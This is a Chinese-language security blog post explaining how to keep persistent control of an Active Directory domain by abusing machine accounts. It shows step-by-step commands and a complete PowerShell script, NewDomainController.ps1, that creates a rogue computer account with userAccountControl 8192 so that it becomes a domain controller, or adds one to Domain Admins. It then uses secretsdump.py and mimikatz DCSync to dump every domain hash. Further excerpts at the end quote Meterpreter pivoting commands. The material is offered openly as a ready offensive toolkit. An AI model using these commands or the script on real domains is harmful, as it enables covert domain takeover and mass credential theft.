利用机器账户进行域权限维持

VSole2023-06-09 14:09:48

0x00 前言

机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。

@Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。

0x01 userAccountControl基础知识

在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。

下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。

userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。

0x02 实验测试一

在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。

(1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd。

	Import-Module .\Powermad.ps1
	# 设置机器账户的密码$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force# 通过 New-MachineAccount 函数创建一个机器账户New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

(2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。

	Import-Module .\PowerView.ps1Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl

(3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。

	Import-Module .\PowerView.ps1Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose

如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。

(4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。

	python3 secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc

根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码:


Function NewDomainController {<#.SYNOPSIS
    This script will create a new domain controller account in the domain for the purpose of domain persistence..DESCRIPTION
    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit 
    field. Different flags represent different user information. The value of this attribute is the sum of all 
    flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 
    and decimal value is 8192, which is used to indicate that the account is the machine account of the domain 
    controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, 
    Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. 
    So just change userAccountControl to grant domain controller privileges to normal domain member machines..LINK
    https://whoamianony.top/domain-persistence-machine-accounts/.PARAMETER Domain
    Specifies the domain name, if omitted, the domain name will be obtained automatically..PARAMETER DomainController
    Specifies the FQDN of the domain controller..PARAMETER MachineAccount
    Specifies the name of the machine account to be created..PARAMETER Password
    Specifies the password of the machine account to be created..OUTPUTS
    Output will be shown in the console.NOTES
    Version:        0.1
    Author:         WHOAMI
    Date:           01/18/2022.EXAMPLE
    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>
    param (
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$DomainController,
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$MachineAccount,
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Password
    )
    function FormatStatus([string]$Flag, [string]$Message) {
        If($Flag -eq "1") {
            Write-Host "[+] " -ForegroundColor:Green -NoNewline
            Write-Host $Message
        }ElseIf($Flag -eq "0") {
            Write-Host "[-] " -ForegroundColor:Red -NoNewline
            Write-Host $Message
        }
    }
    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
    if($Password)
    {
        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
    }
    if(!$DomainController -or !$Domain)
    {
        try
        {
            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            FormatStatus 0 "$($_.Exception.Message)"
            throw
        }
        if(!$DomainController)
        {
            $DomainController = $CurrentDomain.PdcRoleOwner.Name
            FormatStatus 1 "Get Domain Controller: $DomainController"
        }
        if(!$Domain)
        {
            $Domain = $CurrentDomain.Name
            $Domain = $Domain.ToLower()
            FormatStatus 1 "Get Domain Name: $Domain"
        }
    }
    $_MachineAccount = $MachineAccount
    if($MachineAccount.EndsWith('$'))
    {
        $SAMAccountName = $_MachineAccount
        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
    }
    else 
    {
        $SAMAccountName = $_MachineAccount + "$"
    }
    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 
    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"
    $DC_array = $Domain.Split(".")
    ForEach($DC in $DC_array)
    {
        $DistinguishedName += ",DC=$DC"
    }
    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"
    FormatStatus 1 "Start creating a machine account $MachineAccount"
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
    $request.DistinguishedName = $DistinguishedName
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null
    try
    {
        $connection.SendRequest($request) > $null
        FormatStatus 1  "Create machine account $MachineAccount successfully"
    }
    catch
    {
        FormatStatus 0  "$($_.Exception.Message)"
        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
  {
            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
        }
    }}

运行该脚本即可创建一个新的域控账户,如下图所示。

	Import-Module .\NewDomainController.ps1NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"

机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。

	net group "Domain Admins" PENTEST$ /add /domain

如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希

python secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc-user "PENTEST\Administrator"

值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示:

python secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11

python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt

0x02 实验测试一(推荐使用)

添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)

工具地址:https://github.com/chibd2000/hyscan

添加机器用户命令:

hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11

可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中

查看域控制器成员,发现机器用户DCBAK已在列表中

 net group "domain controllers" /domain

在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。

 runas /user:hengge.com\dcback /netonly cmd

在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash

mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit

impacket serectdump进行DCYNC的DUMP出域的hash

python secretsdump.py hengge.com/dcback$@192.168.4.11 -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm

参考文章:

https://whoamianony.top/domain-persistence-machine-accounts/

https://itach1.com/archives/102/#cl-1

https://adsecurity.org/?p=2753

https://www.cnblogs.com/zpchcbd/p/15840413.html

https://stealthbits.com/blog/server-untrust-account/

域控制器domain
本作品采用《CC 协议》,转载必须注明作者和本文链接
发现内网主机:10.10.10.2、10.10.10.4在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况meterpreter > shell. 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2设置路由使用 Nmap 对内网主机进行扫描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
WINDOWS认证机制 阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别 何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一 Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组
Windows AD基础知识
2022-06-14 15:37:35
内容可能有点长,但是这有助于模拟不同的攻击,模拟和了解红队的攻击行为。
国家级APT(Advanced Persistent Threat,高级持续性威胁)组织是有国家背景支持的顶尖黑客团伙,专注于针对特定目标进行长期的持续性网络攻击。 奇安信旗下的高级威胁研究团队红雨滴(RedDrip Team)每年会发布全球APT年报【1】、中报,对当年各大APT团伙的活动进行分析总结。
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(J
域环境下的信息搜集
2023-05-23 09:25:36
单域环境查看域环境用户查看时间/dns服务器net time /domain /net view /domain. 查看域控制器可以得到域控制器IP地址域控还可能开放88 Kerberos 协议,01389 ldap,DNS 53 如果存在EXECHANGE 邮件服务器那么也开放了25还有我们熟悉的139,445.查看身处在哪个域net?该命令批量ping 出存活的IP ,如果没有存在策略限制一般Ping出存货的IP都可以进行端口扫描等操作。同等可以使用 nbtscan /fscan等内网扫描工具替代。会在 js下生成一个txt 里边有web的目录地址域控常见命令:查找目录中的?查看指定IP的登录记录PVEFindADuser -current -target 192.168.91.133
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
如何应对面试官最喜欢问的域管与域控定位问题?今天给大家做个总结,无论是实战还是面试都能给各位有所帮助。 我们在内网渗透中,拿下一台跳板机后要对域内展开工作,不管它在不在域内,对域管与域控的精确定位重要性不言而喻,今天介绍通过命令行定位,借助工具定位,借助ldap协议定位,端口定位以及不再域内定位的各种思路。
Summary这两周一直在做域内DC渗透的工作,持续了较长时间,之前对实战中的域内渗透,尤其是域渗透的安全组件防御了解颇少,所以过程也是磕磕绊绊,不过值得庆祝的是最后工作圆满完成。Information collection首先是常规的一些用户权限,域内环境等信息获取。角色网络域信息ipconfig /all #看到主机名与IP地址信息,DNS后显示域名xxx.org存在,确定Domain name.net view /domain #直接报错。net time /domain #显示出了domain,再通过nslookup查到IP地址,确认此账户的DC name。
VSole
网络安全专家